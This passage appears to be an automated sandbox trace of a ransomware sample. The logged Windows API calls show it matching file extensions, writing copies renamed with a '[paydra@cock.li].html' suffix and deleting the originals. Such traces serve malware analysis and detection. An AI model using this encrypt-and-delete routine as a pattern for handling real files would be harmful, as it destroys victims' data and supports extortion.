Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.105] lstrlenW (lpString=".doc") returned 4 [0035.105] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.105] lstrlenW (lpString=".docx") returned 5 [0035.105] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0035.105] lstrlenW (lpString=".pdf") returned 4 [0035.105] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.105] lstrlenW (lpString=".xls") returned 4 [0035.105] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.105] lstrlenW (lpString=".xlsx") returned 5 [0035.105] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0035.105] lstrlenW (lpString=".ppt") returned 4 [0035.105] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.105] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.105] lstrlenW (lpString=".zip") returned 4 [0035.105] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.105] lstrlenW (lpString=".rar") returned 4 [0035.105] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.105] lstrlenW (lpString=".bz2") returned 4 [0035.105] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.105] lstrlenW (lpString=".7z") returned 3 [0035.106] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.106] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.106] lstrlenW (lpString=".dbf") returned 4 [0035.106] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.106] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.106] lstrlenW (lpString=".1cd") returned 4 [0035.106] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.106] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.106] lstrlenW (lpString=".jpg") returned 4 [0035.106] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.106] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.106] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.106] lstrlenW (lpString=".doc") returned 4 [0035.106] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.106] lstrlenW (lpString=".docx") returned 5 [0035.106] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0035.106] lstrlenW (lpString=".pdf") returned 4 [0035.106] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.106] lstrlenW (lpString=".xls") returned 4 [0035.106] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.106] lstrlenW (lpString=".xlsx") returned 5 [0035.106] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0035.106] lstrlenW (lpString=".ppt") returned 4 [0035.106] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.106] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.106] lstrlenW (lpString=".zip") returned 4 [0035.106] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.106] lstrlenW (lpString=".rar") returned 4 [0035.106] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.106] lstrlenW (lpString=".bz2") returned 4 [0035.106] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.106] lstrlenW (lpString=".7z") returned 3 [0035.106] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.106] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.107] lstrlenW (lpString=".dbf") returned 4 [0035.107] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.107] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.107] lstrlenW (lpString=".1cd") returned 4 [0035.107] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.107] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.107] lstrlenW (lpString=".jpg") returned 4 [0035.107] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.107] lstrcmpiW (lpString1=".chm", lpString2=".html") returned -1 [0035.107] lstrlenW (lpString="setup.chm") returned 9 [0035.107] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0035.166] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=67190) returned 1 [0035.166] CloseHandle (hObject=0x184) returned 1 [0035.166] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm")) returned 0x2020 [0035.167] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0035.167] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0035.167] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.167] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.167] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0035.167] GetLastError () returned 0x0 [0035.167] ReadFile (in: hFile=0x184, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x10676, lpOverlapped=0x0) returned 1 [0035.176] WriteFile (in: hFile=0x1a0, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x10680, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x10680, lpOverlapped=0x0) returned 1 [0035.195] ReadFile (in: hFile=0x184, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0035.195] WriteFile (in: hFile=0x1a0, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0035.195] SetEndOfFile (hFile=0x1a0) returned 1 [0035.195] CloseHandle (hObject=0x1a0) returned 1 [0035.196] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.196] SetEndOfFile (hFile=0x184) returned 1 [0035.197] CloseHandle (hObject=0x184) returned 1 [0035.198] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0035.198] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm")) returned 1 [0035.198] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0035.198] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0035.198] lstrlenW (lpString=".doc") returned 4 [0035.198] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0035.198] lstrlenW (lpString=".docx") returned 5 [0035.198] lstrcmpiW (lpString1=".docx", lpString2="p.chm") returned -1 [0035.198] lstrlenW (lpString=".pdf") returned 4 [0035.198] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0035.198] lstrlenW (lpString=".xls") returned 4 [0035.198] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0035.198] lstrlenW (lpString=".xlsx") returned 5 [0035.198] lstrcmpiW (lpString1=".xlsx", lpString2="p.chm") returned -1 [0035.198] lstrlenW (lpString=".ppt") returned 4 [0035.198] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0035.198] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0035.198] lstrlenW (lpString=".zip") returned 4 [0035.198] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0035.198] lstrlenW (lpString=".rar") returned 4 [0035.198] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0035.198] lstrlenW (lpString=".bz2") returned 4 [0035.199] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0035.199] lstrlenW (lpString=".7z") returned 3 [0035.199] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0035.199] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0035.199] lstrlenW (lpString=".dbf") returned 4 [0035.199] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0035.199] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0035.199] lstrlenW (lpString=".1cd") returned 4 [0035.199] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0035.199] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0035.199] lstrlenW (lpString=".jpg") returned 4 [0035.199] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0035.199] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0035.199] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0035.199] lstrlenW (lpString=".doc") returned 4 [0035.199] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0035.199] lstrlenW (lpString=".docx") returned 5 [0035.199] lstrcmpiW (lpString1=".docx", lpString2="p.chm") returned -1 [0035.199] lstrlenW (lpString=".pdf") returned 4 [0035.199] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0035.199] lstrlenW (lpString=".xls") returned 4 [0035.199] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0035.199] lstrlenW (lpString=".xlsx") returned 5 [0035.199] lstrcmpiW (lpString1=".xlsx", lpString2="p.chm") returned -1 [0035.199] lstrlenW (lpString=".ppt") returned 4 [0035.199] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0035.199] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0035.199] lstrlenW (lpString=".zip") returned 4 [0035.199] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0035.199] lstrlenW (lpString=".rar") returned 4 [0035.199] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0035.199] lstrlenW (lpString=".bz2") returned 4 [0035.199] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0035.200] lstrlenW (lpString=".7z") returned 3 [0035.200] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0035.200] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0035.200] lstrlenW (lpString=".dbf") returned 4 [0035.200] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0035.200] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0035.200] lstrlenW (lpString=".1cd") returned 4 [0035.200] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0035.200] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0035.200] lstrlenW (lpString=".jpg") returned 4 [0035.200] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0035.200] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0035.200] lstrlenW (lpString="AccessMUISet.xml") returned 16 [0035.200] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0035.200] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=819) returned 1 [0035.200] CloseHandle (hObject=0x184) returned 1 [0035.201] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml")) returned 0x2020 [0035.201] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0035.201] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0035.201] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.201] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.201] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0035.201] GetLastError () returned 0x0 [0035.201] ReadFile (in: hFile=0x184, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x333, lpOverlapped=0x0) returned 1 [0035.217] WriteFile (in: hFile=0x1a0, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x340, lpOverlapped=0x0) returned 1 [0035.220] ReadFile (in: hFile=0x184, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0035.220] WriteFile (in: hFile=0x1a0, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0035.220] SetEndOfFile (hFile=0x1a0) returned 1 [0035.220] CloseHandle (hObject=0x1a0) returned 1 [0035.221] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.221] SetEndOfFile (hFile=0x184) returned 1 [0035.222] CloseHandle (hObject=0x184) returned 1 [0035.222] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0035.222] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml")) returned 1 [0035.222] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0035.222] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0035.222] lstrlenW (lpString=".doc") returned 4 [0035.222] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.222] lstrlenW (lpString=".docx") returned 5 [0035.222] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0035.222] lstrlenW (lpString=".pdf") returned 4 [0035.222] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.222] lstrlenW (lpString=".xls") returned 4 [0035.222] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.222] lstrlenW (lpString=".xlsx") returned 5 [0035.223] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0035.223] lstrlenW (lpString=".ppt") returned 4 [0035.223] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.223] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0035.223] lstrlenW (lpString=".zip") returned 4 [0035.223] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.223] lstrlenW (lpString=".rar") returned 4 [0035.223] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.223] lstrlenW (lpString=".bz2") returned 4 [0035.223] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.223] lstrlenW (lpString=".7z") returned 3 [0035.223] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.223] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0035.223] lstrlenW (lpString=".dbf") returned 4 [0035.223] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.223] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0035.223] lstrlenW (lpString=".1cd") returned 4 [0035.223] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.223] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0035.223] lstrlenW (lpString=".jpg") returned 4 [0035.223] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.223] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0035.223] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0035.223] lstrlenW (lpString=".doc") returned 4 [0035.223] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.223] lstrlenW (lpString=".docx") returned 5 [0035.223] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0035.223] lstrlenW (lpString=".pdf") returned 4 [0035.223] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.223] lstrlenW (lpString=".xls") returned 4 [0035.223] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.223] lstrlenW (lpString=".xlsx") returned 5 [0035.223] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0035.223] lstrlenW (lpString=".ppt") returned 4 [0035.224] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.224] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0035.224] lstrlenW (lpString=".zip") returned 4 [0035.224] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.224] lstrlenW (lpString=".rar") returned 4 [0035.224] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.224] lstrlenW (lpString=".bz2") returned 4 [0035.224] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.224] lstrlenW (lpString=".7z") returned 3 [0035.224] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.224] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0035.224] lstrlenW (lpString=".dbf") returned 4 [0035.224] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.224] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0035.224] lstrlenW (lpString=".1cd") returned 4 [0035.224] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.224] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0035.224] lstrlenW (lpString=".jpg") returned 4 [0035.224] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.224] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0035.224] lstrlenW (lpString="ProPlusrWW.xml") returned 14 [0035.225] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0035.252] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=16852) returned 1 [0035.254] CloseHandle (hObject=0x184) returned 1 [0035.254] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml")) returned 0x2020 [0035.254] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0035.254] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0035.254] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.254] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.254] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0035.255] GetLastError () returned 0x0 [0035.255] ReadFile (in: hFile=0x184, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x41d4, lpOverlapped=0x0) returned 1 [0035.259] WriteFile (in: hFile=0x1a0, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x41e0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x41e0, lpOverlapped=0x0) returned 1 [0035.260] ReadFile (in: hFile=0x184, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0035.260] WriteFile (in: hFile=0x1a0, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0035.260] SetEndOfFile (hFile=0x1a0) returned 1 [0035.260] CloseHandle (hObject=0x1a0) returned 1 [0035.261] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.261] SetEndOfFile (hFile=0x184) returned 1 [0035.262] CloseHandle (hObject=0x184) returned 1 [0035.262] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0035.262] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml")) returned 1 [0035.262] lstrlenW 